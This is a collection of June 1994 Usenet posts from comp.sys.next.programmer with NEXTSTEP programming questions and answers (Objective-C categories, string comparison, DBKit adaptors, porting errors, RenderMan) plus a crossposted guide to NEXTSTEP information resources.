Newsgroups: comp.sys.next.programmer Subject: How to enable POSIX compatibility? Message-ID: <1994Jun17.141748.21651@cc.usu.edu> From: deviate@lipschitz.sfasu.edu (J. Kelly Cunningham) Date: 17 Jun 94 14:17:48 MDT Organization: As little as I can get away with... How do I enable POSIX compatibility when compiling C programs? Please Cc: deviate@lipschitz.sfasu.edu. -- kc
From: ted@.pdgm.com (Edward E. Murphy) Newsgroups: comp.sys.next.programmer Subject: Windows clients to Neststep Network Date: 17 Jun 1994 14:48:06 GMT Organization: Edward E. Murphy Message-ID: <2tsd36$u5@pdgmhost.pdgm.com> Hi all, What do you suggest for a windows client to read mail from a NextStep server running NSFIP 3.2? What are the best TCP/IP packages available for accessing the NextStep network of files? Thanks, will summarize. Ted Murphy
From: elitman@proxima.com (Eric A. Litman) Newsgroups: comp.sys.next.programmer Subject: Re: Enable IP forwarding, how? Date: 16 Jun 1994 19:32:09 -0500 Organization: UTexas Mail-to-News Gateway Sender: nobody@cs.utexas.edu Message-ID: <9406162348.AA00868@proxima.com> In article <2tnia9$1kc@titan.imp.com> you wrote: > How do I enable IP forwarding with Nextstep? > Has somebody an example code for this problem? It's disabled in the kernel, but support is there. Of course, IP forwarding under NeXTSTEP brings up some very serious concerns, such as the path NetInfo propogation should take. Look at Eric Scott's fixhostid.c on sutro.sfsu.edu for a very good idea on how to turn it on. -- Eric Litman Proxima, Inc. vox: (703) 506.1661 Director, Network Services McLean, VA elitman+@proxima.com
From: leliaeaj@NeXTwork.Rose-Hulman.Edu (Aaron J Leliaert) Newsgroups: comp.sys.next.programmer Subject: Problems with color graphics on color NeXT Date: 16 Jun 1994 21:49:05 GMT Organization: Rose-Hulman Institute of Technology Message-ID: <2tqhch$rhe@master.cs.rose-hulman.edu> I'm working on a program with nice, colorful postscript graphics. Most of the testing was done on a greyscale NeXT, and the colors were seen in shades of grey. Once run on a color machine, most of the graphics look great (in color, visible). However, one pesky image, once composited to the view, is seen as a large black rectangle. On the greyscale machine, that image is correctly composited to the same view, and it looks fine (but grey, of course). I've been looking for errors in the postscript code, and the code dealing with putting it on the screen, but I haven't seen anything really bad yet. What bothers me is this: why would the image look great as color turned into greyscale (on the greyscale machine), but become totally black whenever used on a color machine??? Thanks, Aaron Leliaert leliaeaj@nextwork.rose-hulman.edu
From: dekorte@ibm19.scri.fsu.edu (Stephen L. DeKorte) Newsgroups: comp.sys.next.programmer Subject: NeXTmail format? Date: 16 Jun 1994 20:50:09 GMT Organization: Supercomputer Computations Research Institute Message-ID: <2tqdu1$l02@mailer.fsu.edu> Anyone know where I can find some docs on NeXTmail format? Is it just the 'attach' header with uuencoded body? I just need to be able to send a sound file via NeXTmail - prefferably from the command line with something like: NeXTmail me@here -f mysound.snd Thanks for any info, Steve Dekorte
From: pujals@fsu_1.aoml.erl.gov (Gustavo Pujals) Newsgroups: comp.sys.next.programmer Subject: Reproducing "AT" commands Date: 9 Jun 1994 18:02:37 GMT Organization: U.S. Department of Commerce, NOAA/AOML Message-ID: <2t7lft$gim@wave.aoml.erl.gov> Keywords: cron, at I have to run a job daily. A script runs(?) to do the job and reproduce itself. Here is basically how the small script goes: ------------------------------------- set `date` case $1 in "Mon" ) tommorrow="tue";; . . . "Sun" ) tommorrow="mon";; esac .do something... at -m 0030 $tommorow (..THIS_script..) ------------------------------------- When I run this script, it puts ITSELF on the "at queue" with the last line of the script (at). However, even though it appears on the "at queue", it is never executed. I cannot see why?!? Since it is never executed, it does NOT add itself to the queue again. The logic seems to work, but unfortunately the script does NOT!!! I am trying to run a script that runs everyday without using the cron since the system does not have crontabs for individual users. Appreciate any help... Thanks, Gus
From: wjabi@libra.arch.umich.edu (Wassim M. Jabi) Newsgroups: comp.sys.next.programmer Subject: HOWTO write additional TIFF fields using NXBitmapImageRep Date: 9 Jun 1994 19:20:04 GMT Organization: University of Michigan Engineering, Ann Arbor Distribution: usa Message-ID: <2t7q14INN1to@srvr1.engin.umich.edu> Question: Did anybody subclass NXBitmapImageRep to allow for writing TIFF images with additional/customized TIFF-header information? Thanks -- Wassim M. Jabi (313) 936-0229 Doctoral Program in Architecture, University of Michigan 2000 Bonisteel Boulevard Ann Arbor Michigan 48105-2069 wjabi@libra.arch.umich.edu NeXTMail-friendly
From: ejohnson@access.mbnet.mb.ca (Eric Johnson) Newsgroups: comp.sys.next.programmer Subject: Commercial developers in Manitoba Date: 10 Jun 1994 20:42:19 GMT Organization: The University of Manitoba Message-ID: <2taj7b$7j6@canopus.cc.umanitoba.ca> Summary: any out there? Keywords: Manitoba NeXT commercial Are there any Next developers out there working in Manitoba in a commercial setting? Would you mind passing on summaries of your experiences? Thanks, Eric Johnson INSI Integrated Systems Inc. Winnipeg, Manitoba
From: klingler@unm.edu (Dave "CIRT Boy" Klingler) Newsgroups: comp.sys.next.programmer Subject: Re: zooming in Draw Date: 12 Jun 1994 22:27:11 -0600 Organization: University of New Mexico, Albuquerque Message-ID: <2tgn6v$gug@argo.unm.edu> References: <freebandCqyK4u.8xq@netcom.com> >Has anyone ever tried to implement a zoom feature in Draw? > >I looked at the GraphPaper example and tried applying >that idea, but since Draw does not use the View hierarchy >(all drawing is done in one view), it gets a little tricky. > >Any help would be greatly appreciated --- > > > - Nick I'd be happy to get the same information. We have to do an app that lets a motorcycle dealer zoom in on a part in an exploded drawing. It'd be something like half-zoom/half-hypertext. Dave
From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo) Newsgroups: comp.sys.next.programmer Subject: NeXT C lib difs? Date: 13 Jun 1994 04:56:07 GMT Organization: The Ohio State University Distribution: world Message-ID: <2tgot7$4rt@charm.magnus.acs.ohio-state.edu> I tried to compile a new program we just bought, called Umdss. Here's what I got: make cc -O -c umdss.c umdss.h:25: header file 'dirent.h' not found umdss.h:82: header file 'termio.h' not found umglob.c:59: undefined type, found `mode_t' umdss.c:259: undefined type, found `pid_t' *** Exit 1 Stop. Since I'm no c guru (yet :), what exactly do those errors mean? Here is the undss.h file: /*********************************************************************** * * umdss.h UMDSS source-wide definitions * Part of the UMDSS Project * (C)opyright 1993 Morgan Davis Group * **********************************************************************/ #ifndef __UMDSS__ #define __UMDSS__ #include "config.h" #define VERSION "1.0.2" #define COPR "copyright (C) 1993 Morgan Davis Group" /* * Try to make sense of UNIX directory interfaces. */ #if NDIR #include <sys/ndir.h> #define dirent direct #else #include <dirent.h> #endif #define STATDIR ".Status" /* SPOOLDIR/.Status directory */ #define UID (getuid()) /* umdss user/owner ID */ #define GID (getgid()) /* umdss group ID */ #define LCK_TMPL "%sLCK..%s" /* LOCKDIR pathname template */ #define PID_TMPL "%10i\n" /* process ID template */ #define SITELEN_MAX (15) /* max sitename length */ #define PASSWD_MAX (15) /* max password length */ #define CMDLINE_MAX (25) /* max command line length */ #define IDINPUT_TMPL "%15[-a-z0-9];%15s" #define IDENTRY_TMPL "%15[^;];%15[^;];%25[^;];%25[ -~]\n" /****************************************************************************/ #define NO_ERROR (0) /* no error */ #define ERROR (-1) /* generic error code */ #define TIMEOUT (-1) /* timeout code */ #define BUFLEN (256) /* buffer length */ #define ENQ_PROMPT (5) /* command prompt */ #define SEND_CMD 'S' /* send */ #define HANGUP_CMD 'H' /* hangup */ #define RECEIVE_CMD 'R' /* receive (text) */ #define BINARY_CMD 'B' /* receive (binary) */ #define CANCEL_CMD (24) /* Control-X cancels */ #define FUDGE (1) /* for debugging */ #define ENQ_CMD_WAIT (3*FUDGE) /* Seconds between ENQs for command */ #define ENQ_TIMEOUT (30*FUDGE) /* Seconds master waits for ENQ */ #define MAX_BOGUS (5) /* Bogus commands before aborting */ #define MAX_TIMEOUTS (10) /* Timeouts before aborting */ #define MAX_ATTEMPTS (10) /* Command attempts */ #define MAX_FAILURES (3) /* Consecutive failures */ #define basename(s) (strrchr((char *)(s), '/') + 1) #define basetty(n) (basename(ttyname(n)) + 3) #if SGTTY #include <sgtty.h> #define TERMGET TIOCGETP #define TERMSET TIOCSETP #define TERMSPD (default_stty.sg_ispeed) #define TERMHUP default_stty.sg_ispeed = 0 #define TERMSTRUCT struct sgttyb #define SPEEDLIST 300, 600, 1200, 1800, 2400, \ 4800, 9600, 19200, 38400 #define SPEEDCNT 9 #else #include <termio.h> #define TERMGET TCGETA #define TERMSET TCSETAW #define TERMSPD (default_stty.c_cflag & CBAUD) #define TERMHUP default_stty.c_cflag &= ~CBAUD #define TERMSTRUCT struct termio #define SPEEDLIST 0, 50, 75, 110, 134.5, 150, 200, \ 300, 600, 1200, 1800, 2400, 4800, \ 9600, 19200, 38400 #define SPEEDCNT 16 #endif #include "umglob.c" /* SCOPE's definition determines global references */ #endif /* __UMDSS__ */ If it'd help at all, here's the config too: /*********************************************************************** * * config.h UMDSS configuration file * Part of the UMDSS Project * (C)opyright 1993 Morgan Davis Group * **********************************************************************/ #define SCO 1 /* 1 if SCO UNIX or XENIX */ /* If SYSTEMID is defined, it contains the host's name. */ /* Otherwise, /etc/hostname holds the host's name */ /* #define SYSTEMID "hostname" */ /* These flags control various compilation features */ /* Turn them on (1) or off (0) as appropriate */ #define NDIR 0 /* To use <sys/ndir.h> directory interfaces */ #define MKDIR 0 /* If mkdir() not part of standard libraries */ #define DEBUG 0 /* If you want more junk in the log file */ #define TYPES_T 0 /* To define types like pid_t, mode_t, and off_t */ #define SGTTY 0 /* If you don't have termio for port settings */ /* Pathnames to the log and ID files */ #define LOGFILE "/usr/local/lib/umdss/umdsslog" #define IDFILE "/usr/local/lib/umdss/idfile" /* These directory paths must end with slashes */ #if SCO #define LOCKDIR "/usr/spool/uucp/" #else #define LOCKDIR "/usr/spool/locks/" #endif #define SPOOLDIR "/usr/spool/umdss/" /* System-dependent settings */ #define DPERM (0775) /* spool directory permissions */ #define PATHLEN (64) /* maximum pathname length */ /* * These are available for compatibility * with older compilers that do not have them. */ #if TYPES_T typedef int pid_t; typedef int mode_t; typedef unsigned long off_t; #endif /* TYPES_T */ -- ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: : szatezal@magnus.acs.ohio-state.edu or root@tap.colum.fnet.org : :Call The Atomic Playground BBS 614-297-7031 24/96/14.4/16.8/21.6/28.8k DS HST: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick guide to NEXTSTEP Information on the Internet Date: 13 Jun 1994 01:49:51 -0400 Organization: Next Announcements Message-ID: <2tgs1v$qbe@digifix.digifix.com> Topics include: Stepwise NEXTSTEP/OpenStep Information Server online comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers New Information --------------- Stepwise NEXTSTEP/OpenStep Information Server online A product directory built around the World Wide Web system, this will allow full multimedia announcements by NEXTSTEP developers, as well as the ability to browse the available products for NEXTSTEP. This service is online now, and can be reached at http://digifix.digifix.com/ it can be reached using OmniWeb (available from ftp.omnigroup.com) or Mosaic. The entries are coming in quite quickly, and currently consist of - NeXT Press Releases - OpenStep WhitePapers - Third Party Products Directory - NEXTSTEP Developer Directory - NEXTSTEP Community WhitePages - NEXTSTEP User Group Directory - comp.sys.next.announce archives (searchable) - searchable contents of Third Party compilation CDs Additionally the NEXTSTEP Product Information Mail Server will be stocked full file files in the next week... you can get information on using the mail server at ns-products@digifix.com Suggestions or comments can be directed to me at sanguish@digifix.com comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: kampp@informatik.uni-koblenz.de (Ralf Kampp) Newsgroups: comp.sys.next.programmer Subject: Re: Does NeXT have stricmp? Date: 13 Jun 1994 11:09:25 GMT Organization: University Koblenz / Germany Message-ID: <2thep5$f6q@newshost.uni-koblenz.de> References: <1994Jun9.180102.21292@cc.usu.edu> >I found stricmp. Are NeXTs supposed to have the case insensitive version? > >-- kc Yes, it's strcasecmp(). (There's even the strncasecmp() version that only takes n characters into account).
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: Does NeXT have stricmp? Date: 13 Jun 1994 15:10:48 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2thsto$stv@darkstar.UCSC.EDU> References: <2thep5$f6q@newshost.uni-koblenz.de> In article <2thep5$f6q@newshost.uni-koblenz.de> kampp@informatik.uni-koblenz.de (Ralf Kampp) writes: > >I found stricmp. Are NeXTs supposed to have the case insensitive version? > > > >-- kc > > Yes, it's strcasecmp(). (There's even the strncasecmp() version that only > takes n characters into account). I'm surprised the NEXTSTEP string comparison function hasn't been mentioned since it correctly handles comparison of words containing any character set and it incorporates several of the C library functions: int NXOrderStrings(const unsigned char *string1, const unsigned char *string2, BOOL caseSensitive, int length, NXStringOrderTable *table) --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
Newsgroups: comp.sys.next.programmer From: pelletk@il.us.swissbank.com (Ken Pelletier) Subject: (SUMMARY) DBKit App not loading adaptor [make install version only] Message-ID: <1994Jun13.145032.22524@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <1994Jun10.212752.4959@il.us.swissbank.com> Date: Mon, 13 Jun 1994 14:50:32 GMT Ken Pelletier writes > We have a DBKit app that runs OK from Project Builder (either the .app or > debug version), but when running the install version, it chokes when > dynamically loading the SybaseAdaptor. > > The error message is: > > Error loading /NextLibrary/Adaptors/SybaseAdaptor.adaptor/SybaseAdaptor > rld(): Undefined symbols: > Cannot load adaptor: SybaseAdaptor. > > The Makefile.preamble does force unreferenced symbols to be loaded using the -u > switch: > > OTHER_LDFLAGS = -u libdbkit_s -u libNeXT_s -u libsys_s > > The obvious (suspicious) difference between the install and app targets is that > strip is run for install. However, no other DBKit apps are exibiting this > behavior. > > Statically linking the adaptor fixes the problem, but doesn't solve the > mystery. Anyone have experience with this problem? > Thanks to all who responded by email: Art Isbell, Bill Chin, Ron Blanford, Richard Jacoby, and Steve Hayman. The answers were basically the same: in Makefile.postamble, define APP_STRIP_OPTS the same as DYLD_APP_STRIP_OPTS. APP_STRIP_OPTS = $(DYLD_APP_STRIP_OPTS) A couple of answers suggested uncommenting the assignment of DYLD_APP_STRIP_OPTS in Makefile.postamble, but this doesn't appear to be necessary since the default setting is already the same as that assignment; "-A -n" - Ken ken_pelletier@swissbank.com ken@nika.com
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: Categories: add class method? Message-ID: <1994Jun13.150225.4650@dart.de> Sender: aspohr@dart.de Organization: d'ART Software GmbH References: <940613143340.1901AACUE.malc@jeeves> Date: Mon, 13 Jun 94 15:02:25 GMT In article <940613143340.1901AACUE.malc@jeeves> M.Crawford@dcs.shef.ac.uk (mmalcolm Crawford) writes: > Is it possible to add class methods using Categories? > > Empirical evidence suggests not: > > Jun 13 14:31:08 jeeves Tester[2009]: objc: MyClass: does not recognize > selector +myClassMethod: > > but I may be missing something...? > The docs of Stepstones ICpak101 say the NeXT implementation of poseAs: is broke -> you can not subclass class methods. Maybe this counts for categories as well. :-( Atze -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@DART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: returning void instead of self Message-ID: <1994Jun13.155026.4732@dart.de> Sender: aspohr@dart.de Organization: d'ART Software GmbH References: <Cr9nAH.1Ds@friday.com> Date: Mon, 13 Jun 94 15:50:26 GMT In article <Cr9nAH.1Ds@friday.com> bbum@friday.com writes: > Sorry this post does not have nice excerpts and such -- don't have time for > that kind of niceity in the pre-EXPO rush. > > Anyway, I wanted to add or reply on two points: > > 1) While returning self does not mean that a proxy will have to be > generated (obviously, the caller already has a reference to the object > being called), it will require a return message to be blasted across the > net -- a needless waste of time and network resources if one is returning a > value that will not be used. > > 2) (void) methods run asyncronously; that is, as soon as the call to a > method that returns void is executed, the local code continues running. If > a method returns a type of id, the caller must wait until the remote code > finishes executing and a value is returned before it can continue. Since > the runtime environment has no idea whether or not the return of a method > will be considered, there is no way to not incur a wait until return on any > method that has a non-void return type. > Are you all sure that methods returning void run asyncronous automatic? Why do we need the oneway, in and out keywords then? And why can I use them only in protocols? Is all this just additional information for the NXProtocolChecker? Or will a method return asynchronous only if it is declared oneway on the client side? Atze -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@DART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
From: Ralph_Zazula@next.com (Ralph Zazula) Newsgroups: comp.sys.next.programmer Subject: Re: Categories: add class method? Date: 13 Jun 1994 16:41:36 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2ti280$et9@rosie.next.com> References: <940613143340.1901AACUE.malc@jeeves> mmalcolm Crawford writes > Is it possible to add class methods using Categories? > > Empirical evidence suggests not: > > Jun 13 14:31:08 jeeves Tester[2009]: objc: MyClass: does not recognize > selector +myClassMethod: > > but I may be missing something...? > > Have fun, > > mmalcolm. Did you by chance send +myClassMethod to an instance? Here's a test I just ran to verify that class methods can be added via a category: pulse> cc -pipe -o test test.m cc -pipe -o test test.m pulse> ./test class method added via category test.m: -------- #import <objc/Object.h> @interface Object(ClassCategory) + (void)methodThatWasntHereBefore; @end @implementation Object(ClassCategory) + (void)methodThatWasntHereBefore { printf("class method added via category\n"); } @end void main() { [Object methodThatWasntHereBefore]; exit(0); } -- Ralph Zazula Developer Trainer NeXT, Inc. Ralph_Zazula@next.com (415) 780-2893
From: Ralph_Zazula@next.com (Ralph Zazula) Newsgroups: comp.sys.next.programmer Subject: Re: Categories: add class method? Date: 13 Jun 1994 16:42:41 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2ti2a1$eta@rosie.next.com> References: <940613143340.1901AACUE.malc@jeeves> mmalcolm Crawford writes > Is it possible to add class methods using Categories? > > Empirical evidence suggests not: > > Jun 13 14:31:08 jeeves Tester[2009]: objc: MyClass: does not recognize > selector +myClassMethod: > > but I may be missing something...? > > Have fun, > > mmalcolm. Other Category fun: Did you know you can add protocol conformance via a category? For example: @interface Object(FooConformnace) <Foo> // methods that are in the Foo protocol @end -- Ralph Zazula Developer Trainer NeXT, Inc. Ralph_Zazula@next.com (415) 780-2893
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: Does NeXT have stricmp? Date: Mon, 13 Jun 1994 13:03:29 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Distribution: world Message-ID: <4hz95Vm00Uh_A2v=BP@andrew.cmu.edu> In-Reply-To: <2thsto$stv@darkstar.UCSC.EDU> Excerpts from netnews.comp.sys.next.programmer: 13-Jun-94 Re: Does NeXT have stricmp? by Art Isbell@cubicsol.com >> Yes, it's strcasecmp(). (There's even the strncasecmp() version that >> only takes n characters into account). > > I'm surprised the NEXTSTEP string comparison function hasn't been > mentioned since it correctly handles comparison of words containing any > character set and it incorporates several of the C library functions: > > int NXOrderStrings(const unsigned char *string1, const unsigned char > *string2, BOOL caseSensitive, int length, NXStringOrderTable *table) Good point. However, I'm pretty sure this call isn't available under PDO, and it certainly isn't available under non-NeXT environments at all. It depends on what your needs are.... -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
From: cmarq@cube.net Newsgroups: comp.sys.next.programmer Subject: Re: RenderMan Date: 13 Jun 1994 19:21:37 +0200 Organization: CUBENet Multiline BBS Sender: root@salyko.cube.net Message-ID: <2ti4j1$dqu@salyko.cube.net> On 06-11-94 jalon wrote ... > > Hello, > > I want to make RenderMan programs as described in "RenderMan > companion" > (not using the Appkit) > > (e.g. : > > --- > #include "ri/ri.h" > > main() > { > RIBegin(RI_NULL); > ... > RIEnd(); > } > ---) > > Therefore I want to know where is the library i have to link with my > programs. > > --Julien (Well, I think this should become an FAQ.) The linkable libraries you need to directly compile the examples in the "Renderman Companion" aren't shipped with NEXTSTEP. (Maybe you can obtain them from Pixar) All the photorealistic rendering is done by /usr/prman/prman which needs RIB-files. However these RIB-files are often created with the 3DKit. The 3DKit (where you can use all the RI functions as with the linkable libraries) uses the WindowServer to draw the scenes on screen. If doing photorealistic rendering the 3DKit translates all fuction calls to a RIB-file which is then fed to prman. You could also open a QuickRenderman context manually from the WindowServer and thus don't need to use the 3DKit to draw on screen, but better have a look at the Pixar QuickRenderman online manual and the 3DKit online manuals. Hope this helps, Christoph --- * OFFLINE 1.56 * * Christoph Marquardt - cmarq@cube.net (NO NeXTMail, please) *
From: Ralph_Zazula@next.com (Ralph Zazula) Newsgroups: comp.sys.next.programmer Subject: Re: Categories: add class method? Date: 13 Jun 1994 16:47:14 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2ti2ii$etv@rosie.next.com> References: <1994Jun13.150225.4650@dart.de> Alexander Spohr writes > > The docs of Stepstones ICpak101 say the NeXT implementation of poseAs: is broke > -> you can not subclass class methods. Maybe this counts for categories as > well. :-( > > Atze > -- > Alexander Spohr, Hamburg, Germany > Alexander_Spohr@DART.de (Mail ) Faces and faces > (+49) 40 / 380 23-0 (Sound) See them and complain not > (+49) 40 / 380 23-290 (Fax ) And am content with all Interesting... That's not how it works for me: pulse> cc -pipe -o test2 test2.m pulse> ./test2 poser: alloc test2.m: --------- #import <objc/Object.h> @interface Poser : Object @end @implementation Poser + alloc { printf("poser: alloc\n"); return [super alloc]; } @end void main() { id obj; [Poser poseAs:[Object class]]; obj = [[Object alloc] init]; exit(0); } -- Ralph Zazula Developer Trainer NeXT, Inc. Ralph_Zazula@next.com (415) 780-2893
From: Ralph_Zazula@next.com (Ralph Zazula) Newsgroups: comp.sys.next.programmer Subject: Re: returning void instead of self Date: 13 Jun 1994 16:55:04 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2ti318$euf@rosie.next.com> References: <1994Jun13.155026.4732@dart.de> Another issue in this debate is the use of returning "nil" for errors and "self" for non-errors. If you really mean to return success/failure, one might be better off choosing (BOOL) as the return type. This approach brings more clarity to the API. Also, if you're worried about losing the ability to nest messages, be careful to consider only those cases where the nested code relied on the "self" being the return value. For example, code like this will never be affected by the outcome of this debate: [[myView window] makeKeyAndOrderFront:nil]; -- Ralph Zazula Developer Trainer NeXT, Inc. Ralph_Zazula@next.com (415) 780-2893
Newsgroups: comp.sys.next.programmer From: mark@xexos.com (Mark Chamberlain) Subject: Re: zooming in Draw Message-ID: <CrCL93.Fwt@xexos.com> Sender: usenet@xexos.com Organization: Xexos Ltd (London) References: <2tgn6v$gug@argo.unm.edu> Date: Mon, 13 Jun 1994 18:12:39 GMT In article <2tgn6v$gug@argo.unm.edu> klingler@unm.edu (Dave "CIRT Boy" Klingler) writes: > I'd be happy to get the same information. We have to do an app that lets a > motorcycle dealer zoom in on a part in an exploded drawing. It'd be something Motorcycle dealers using NEXTSTEP? Tell us more... -- Mark Chamberlain +44 71 237 4535 Xexos Ltd fax +44 71 231 0844 London mark@xexos.com
